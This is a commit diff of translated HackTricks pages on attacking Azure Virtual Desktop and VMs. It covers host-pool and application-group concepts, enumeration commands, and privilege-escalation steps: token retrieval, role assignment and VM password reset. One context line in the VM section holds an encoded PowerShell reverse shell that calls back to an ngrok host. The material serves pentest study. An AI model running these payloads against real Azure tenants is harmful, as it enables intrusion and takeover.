Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-26 16:10:30 +00:00
parent 7ee8f0c4ea
commit f4d15af159
5 changed files with 131 additions and 59 deletions

View File

@@ -0,0 +1,21 @@
# Az - VMs & Network Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Virtual Desktop
Para mais informações sobre Virtual Desktop, consulte a seguinte página:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### Técnicas comuns
- Sobrescrever um **pacote MSIX da conta de armazenamento** para obter RCE em qualquer VM que use esse aplicativo.
- Em um remoteapp, é possível alterar o **caminho do binário a ser executado**.
- **Escapar de aplicativos** para um shell e obter RCE.
- Qualquer ataque de pós-exploração e persistência de **Azure VMs.**
- É possível **configurar um script para ser executado** no pool para aplicar configurações personalizadas.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,24 @@
## Azure Virtual Desktop Privesc
Para mais informações sobre Azure Virtual Desktop, consulte:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
Você pode recuperar o token de registro usado para registrar máquinas virtuais dentro de um pool de hosts.
```bash
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
```
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write
Com essas permissões, você pode adicionar uma atribuição de usuário ao grupo de Aplicativos, que é necessária para acessar a máquina virtual do desktop virtual.
> [!WARNING]
> Um atacante com essas permissões poderia fazer coisas muito mais perigosas do que esta.
Com essas permissões, você pode adicionar uma atribuição de usuário ao grupo de Aplicativos, que é necessária para acessar a máquina virtual do desktop virtual:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
@@ -22,12 +32,6 @@ az rest --method PUT \
}
}'
```
Além disso, você pode alterar o usuário e a senha da máquina virtual para acessá-la.
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
Observe que, para que um usuário possa acessar um Desktop ou um aplicativo, ele também precisa do papel `Virtual Machine User Login` ou `Virtual Machine Administrator Login` sobre a VM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Executar shell reverso a partir de arquivo
- Execute shell reverso a partir de arquivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -310,7 +310,7 @@ Faça login via **SSH** com **`az ssh vm --name <vm-name> --resource-group <rsc-
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela.
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios a ela.
Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica.
```bash
@@ -349,8 +349,18 @@ Então, o atacante precisa ter **comprometido de alguma forma a VM** para roubar
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
Essas permissões permitem alterar o usuário e a senha da máquina virtual para acessá-la:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
De acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,56 +9,99 @@ Virtual Desktop é um **serviço de virtualização de desktop e aplicativos**.
### Host Pools
Os host pools no Azure Virtual Desktop são coleções de máquinas virtuais do Azure configuradas como hosts de sessão, fornecendo desktops e aplicativos virtuais para os usuários. Existem dois tipos principais:
- **Host pools pessoais**, onde cada máquina virtual é dedicada a um único usuário, com seus ambientes
- **Host pools compartilhados**, onde vários usuários compartilham recursos em qualquer host de sessão disponível. Possui um limite de sessão configurável e uma configuração de host de sessão permite que o Azure Virtual Desktop automatize a criação de hosts de sessão com base em uma configuração
Cada host pool tem um **token de registro** que é usado para registrar máquinas virtuais dentro de um host pool.
- **Host pools pessoais**, onde cada máquina virtual é dedicada a um único usuário.
- Pode ser configurado para que o **administrador possa atribuir** usuários específicos às VMs ou ter isso feito **automaticamente**.
- Isso é ideal para pessoas com cargas de trabalho intensivas, pois cada pessoa terá sua própria VM. Além disso, eles poderão armazenar arquivos e configurar definições no disco do SO, e essas persistirão, já que **cada usuário tem sua própria VM (host)**.
### Application groups & Workspace
Os grupos de aplicativos **controlam o acesso do usuário** a um desktop completo ou conjuntos específicos de aplicativos disponíveis em hosts de sessão dentro de um host pool. Existem dois tipos:
- **Grupos de aplicativos de desktop**, que dão aos usuários acesso a um desktop completo do Windows (disponível tanto com host pools pessoais quanto compartilhados)
- **Grupos RemoteApp**, que permitem que os usuários acessem aplicativos publicados individuais (disponível apenas com host pools compartilhados).
Um host pool pode ter um grupo de aplicativos de desktop, mas múltiplos grupos RemoteApp. Os usuários podem ser atribuídos a múltiplos grupos de aplicativos em diferentes host pools. Se um usuário for atribuído a grupos de desktop e RemoteApp dentro do mesmo host pool, ele verá apenas os recursos do tipo de grupo preferido definido pelos administradores.
- **Host pools compartilhados**, onde múltiplos **usuários compartilham recursos** em hosts de sessão disponíveis.
- É possível configurar um **número máximo de usuários** (sessões) por host.
- É possível **adicionar VMs manualmente** usando chaves de registro, ou **permitir que o Azure escale automaticamente** o número de hosts sem ter a opção de adicionar VMs usando a chave de registro. Não é possível escalar VMs automaticamente para pools pessoais.
- Para persistir arquivos nas sessões dos usuários, é necessário usar **FSlogix**.
Um **workspace** é uma **coleção de grupos de aplicativos**, permitindo que os usuários acessem os desktops e grupos de aplicativos atribuídos a eles. Cada grupo de aplicativos deve estar vinculado a um workspace, e ele pode pertencer a apenas um workspace por vez.
### Session Hosts
### Key Features
- **Criação Flexível de VM**: Crie máquinas virtuais do Azure diretamente ou adicione máquinas virtuais locais do Azure posteriormente.
- **Recursos de Segurança**: Ative o Trusted Launch (inicialização segura, vTPM, monitoramento de integridade) para segurança avançada de VM (uma rede virtual é necessária). Pode integrar o Azure Firewall e controlar o tráfego via Grupos de Segurança de Rede.
- **Juntar ao Domínio**: Suporte para junções de domínio do Active Directory com configurações personalizáveis.
- **Diagnósticos & Monitoramento**: Ative as Configurações de Diagnóstico para transmitir logs e métricas para Log Analytics, contas de armazenamento ou hubs de eventos para monitoramento.
- **Modelos de imagem personalizados**: Crie e gerencie-os para usar ao adicionar hosts de sessão. Adicione facilmente personalizações comuns ou seus próprios scripts personalizados.
- **Registro de Workspace**: Registre facilmente grupos de aplicativos de desktop padrão em workspaces novos ou existentes para simplificar a gestão de acesso dos usuários.
Essas são as **VMs às quais os usuários se conectarão.**
- Se a escalabilidade automática foi selecionada, um modelo será criado com as **características dos hosts** que precisam ser criados para o pool.
- Se não, ao criar o Host pool, é possível indicar as **características e o número de VMs** que você deseja criar, e o Azure as criará e adicionará para você.
As principais características para **configurar as VMs** são:
- O **prefixo** do nome das novas VMs
- O **tipo de VM**: Isso pode ser “máquina virtual do Azure” (para usar VMs do Azure) ou “máquina virtual local do Azure”, que permite que hosts sejam implantados localmente ou na borda.
- A localização, zonas, opções de segurança da VM, imagem, CPU, memória, tamanho do disco…
- A **VNet, grupo de segurança e portas** a serem expostas à internet
- É possível definir credenciais para **juntar-se automaticamente a um domínio AD**, ou usar o diretório Entra ID
- Se for Entra ID, é possível **inscrever automaticamente a nova VM no Intune**
- É necessário definir um **nome de usuário e senha de administrador**, a menos que o Azure escale os hosts; nesse caso, um **segredo deve ser configurado com o nome de usuário e outro com a senha**
- É possível **configurar um script a ser executado** para configuração personalizada
### Application Groups
**Grupos de aplicativos** controlam o acesso do usuário a um desktop completo ou conjuntos específicos de aplicativos disponíveis em hosts de sessão dentro de um host pool.
Existem dois tipos de grupos de aplicativos:
- **Grupos de aplicativos de desktop**, que dão aos usuários acesso a desktops completos do Windows e aplicativos anexados.
- **Grupos RemoteApp**, que permitem que os usuários acessem aplicativos individuais.
- Não é possível atribuir esse tipo de grupo de aplicativo a um Pool Pessoal.
- É necessário indicar o caminho para o binário a ser executado dentro da VM.
Um Pool Compartilhado pode ter **um grupo de aplicativos de desktop** e **múltiplos grupos RemoteApp**, e os usuários podem ser atribuídos a vários grupos de aplicativos em diferentes host pools.
Quando um usuário é **concedido acesso**, é dada a ele a função **`Desktop Virtualization User`** sobre o grupo de aplicativos.
### Workspaces & Connections
Um **workspace** é uma coleção de grupos de aplicativos.
Para **conectar-se** ao Desktop ou aplicativos atribuídos, é possível fazê-lo a partir de [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices)
E existem outros métodos descritos em [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client)
Quando um usuário acessa sua conta, ele será **apresentado separado por workspaces tudo ao que tem acesso**. Portanto, é necessário adicionar **cada grupo de aplicativos a um workspace** para que os acessos definidos sejam visíveis.
Para que um usuário possa acessar um Desktop ou um aplicativo, ele também precisa da função **`Virtual Machine User Login`** ou **`Virtual Machine Administrator Login`** sobre a VM.
### Managed Identities
Não é possível atribuir identidades gerenciadas a host pools, então as VMs criadas dentro de um pool as terão.
No entanto, é possível **atribuir identidades gerenciadas de sistema e de usuário às VMs** e, em seguida, acessar os tokens a partir dos metadados. Na verdade, após lançar os host pools pela web, as 2 VMs geradas têm a identidade gerenciada atribuída ao sistema habilitada (embora não tenha permissões).
### Enumeration
```bash
az extension add --name desktopvirtualization
# List HostPool of a Resource group
az desktopvirtualization hostpool list --resource-group <Resource_Group>
# List HostPools
az desktopvirtualization hostpool list
# List Workspaces
az desktopvirtualization workspace list
# List Application Groups
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
# List Application Groups By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
az desktopvirtualization applicationgroup list
# List Applications in a Application Group
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
# Check if Desktops are enabled
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
# List Assigned Users to the Application Group
az rest \
--method GET \
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
# List hosts
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List Workspace in a resource group
az desktopvirtualization workspace list --resource-group <Resource_Group>
# List Workspace in a subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
# List App Attach Package By Resource Group
# List App Attach packages
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List App Attach Package By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List user sessions
az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03"
# List Desktops
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
@@ -68,34 +111,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip
# List private endpoint connections associated with hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
# List private endpoint connections associated By Workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
# List the private link resources available for a hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
# List the private link resources available for this workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
# List sessionHosts/virtual machines.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List start menu items in the given application group.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
# List userSessions.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
# List userSessions By Host Pool
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
```
### Conexão
Para se conectar ao desktop virtual via web, você pode acessar através de https://client.wvd.microsoft.com/arm/webclient/ (mais comum), ou https://client.wvd.microsoft.com/webclient/index.html (clássico) Existem outros métodos que são descritos aqui [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
## Privesc
{{#ref}}
../az-privilege-escalation/az-virtual-desktop-privesc.md
{{#endref}}
## Post Exploitation & Persistence
{{#ref}}
../az-post-exploitation/az-virtual-desktop-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}